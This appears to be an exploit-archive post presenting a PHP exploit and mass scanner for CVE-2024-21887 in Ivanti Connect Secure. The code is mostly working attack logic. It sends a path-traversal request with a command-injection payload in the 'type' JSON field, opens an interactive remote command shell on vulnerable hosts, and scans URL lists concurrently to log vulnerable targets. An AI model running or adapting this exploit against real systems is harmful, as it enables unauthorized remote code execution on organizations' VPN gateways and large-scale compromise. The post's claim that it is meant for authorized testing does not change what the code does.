============================================================================================================================================= | # Title : Ivanti Connect Secure 9.x and 22.x. Exploit and Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.ivanti.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213670/ & CVE-2024-21887 [+] Summary : The provided PHP script targets CVE‑2024‑21887 and is designed to identify and exploit vulnerable systems through a crafted API request. It initializes a reusable cURL session to send malicious JSON payloads to a specific endpoint, abusing path traversal and improper input handling. [+] Key features of the script include: Single‑target and bulk scanning modes (URL or file-based). Vulnerability detection by analyzing JSON error responses from the server. An interactive shell mechanism that attempts to execute arbitrary commands by injecting them into request parameters. Concurrent scanning using curl_multi for faster processing of multiple targets. Optional logging of vulnerable URLs to an output file. [+] Overall, the script goes beyond passive detection and includes active exploitation logic, making it suitable only for controlled, authorized security testing environments. [+] PoC : php poc.php -u https://example.com -f urls.txt -t 20 -o results.txt base_url = $base_url; $this->session = curl_init(); curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->session, CURLOPT_TIMEOUT, 10); curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true); } public function send_backup_code_request($type_value = "id") { $data = json_encode(["type" => ";{$type_value};"]); $url = $this->base_url . "/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection"; curl_setopt($this->session, CURLOPT_URL, $url); curl_setopt($this->session, CURLOPT_POST, true); curl_setopt($this->session, CURLOPT_POSTFIELDS, $data); curl_setopt($this->session, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Content-Length: ' . strlen($data) ]); $response = curl_exec($this->session); $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE); $content_type = curl_getinfo($this->session, CURLINFO_CONTENT_TYPE); if ($http_code >= 200 && $http_code < 300 && strpos($content_type, 'application/json') !== false) { $response_data = json_decode($response, true); if (isset($response_data['error'])) { return $response_data['error']; } } return null; } public function check_vulnerability() { $error_message = $this->send_backup_code_request(); if ($error_message) { echo "[+] " . $this->base_url . " is vulnerable - " . $error_message . PHP_EOL; return $error_message; } return null; } public function interactive_shell() { echo "[!] Shell is ready, please type your commands UwU" . PHP_EOL; while (true) { echo "# "; $cmd = trim(fgets(STDIN)); if (strtolower($cmd) === 'exit') { break; } elseif (strtolower($cmd) === 'clear') { system('clear'); continue; } $response = $this->send_backup_code_request($cmd); if ($response) { echo $response . PHP_EOL; } } } public function __destruct() { curl_close($this->session); } } function process_url($url, $output_file = null) { $scanner = new CVE_2024_21887($url); if ($scanner->check_vulnerability()) { if ($output_file) { file_put_contents($output_file, $url . PHP_EOL, FILE_APPEND); } return $url; } return null; } function main($argv) { $shortopts = "u:f:t:o:h"; $longopts = [ "url:", "file:", "threads:", "output:", "help" ]; $options = getopt($shortopts, $longopts); if (isset($options['h']) || isset($options['help']) || count($argv) == 1) { echo "CVE-2024-21887 Exploit Script" . PHP_EOL; echo "This script is designed to detect and interact with systems vulnerable to CVE-2024-21887." . PHP_EOL . PHP_EOL; echo "Options:" . PHP_EOL; echo " -u, --url Specify a single URL to scan. Use this mode for a focused scan on one target." . PHP_EOL; echo " -f, --file Specify a file path containing a list of URLs for bulk scanning." . PHP_EOL; echo " Each URL should be on a new line." . PHP_EOL; echo " -t, --threads Set the number of concurrent threads for bulk scanning. Default is 10." . PHP_EOL; echo " -o, --output Specify a file path to save the URLs that are found to be vulnerable." . PHP_EOL; echo " Results are appended to this file in real time." . PHP_EOL; echo " -h, --help Show this help message" . PHP_EOL; return; } if (isset($options['u']) || isset($options['url'])) { $url = $options['u'] ?? $options['url']; $scanner = new CVE_2024_21887($url); if ($scanner->check_vulnerability()) { $scanner->interactive_shell(); } } elseif (isset($options['f']) || isset($options['file'])) { $file = $options['f'] ?? $options['file']; $threads = isset($options['t']) ? (int)$options['t'] : (isset($options['threads']) ? (int)$options['threads'] : 10); $output = $options['o'] ?? $options['output'] ?? null; if (!file_exists($file)) { echo "Error: File not found: " . $file . PHP_EOL; return; } $urls = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $total = count($urls); $processed = 0; echo "Scanning " . $total . " URLs with " . $threads . " threads..." . PHP_EOL; // Simplified threading implementation using curl_multi $mh = curl_multi_init(); $handles = []; $results = []; // Function to process completed requests function process_completed_requests(&$mh, &$handles, &$results, &$processed, $total, $output) { while ($info = curl_multi_info_read($mh)) { $ch = $info['handle']; $url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); if ($info['result'] == CURLE_OK) { $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $response = curl_multi_getcontent($ch); if ($http_code >= 200 && $http_code < 300) { $response_data = json_decode($response, true); if (isset($response_data['error'])) { echo "[+] " . $url . " is vulnerable - " . $response_data['error'] . PHP_EOL; if ($output) { file_put_contents($output, $url . PHP_EOL, FILE_APPEND); } $results[] = $url; } } } curl_multi_remove_handle($mh, $ch); curl_close($ch); unset($handles[array_search($ch, $handles, true)]); $processed++; echo "\rProgress: " . $processed . "/" . $total . " (" . round(($processed/$total)*100, 1) . "%)"; } } // Initialize requests foreach ($urls as $url) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url . "/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection", CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode(["type" => ";id;"]), CURLOPT_HTTPHEADER => [ 'Content-Type: application/json' ] ]); curl_multi_add_handle($mh, $ch); $handles[] = $ch; // If we've reached the thread limit, process some requests if (count($handles) >= $threads) { do { curl_multi_exec($mh, $running); process_completed_requests($mh, $handles, $results, $processed, $total, $output); } while ($running > 0 && count($handles) >= $threads); } } // Process remaining requests do { curl_multi_exec($mh, $running); curl_multi_select($mh); process_completed_requests($mh, $handles, $results, $processed, $total, $output); } while ($running > 0); curl_multi_close($mh); echo PHP_EOL . "Scan completed. Found " . count($results) . " vulnerable URLs." . PHP_EOL; if ($output) { echo "Vulnerable URLs saved to " . $output . PHP_EOL; } } } if (PHP_SAPI === 'cli') { main($argv); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================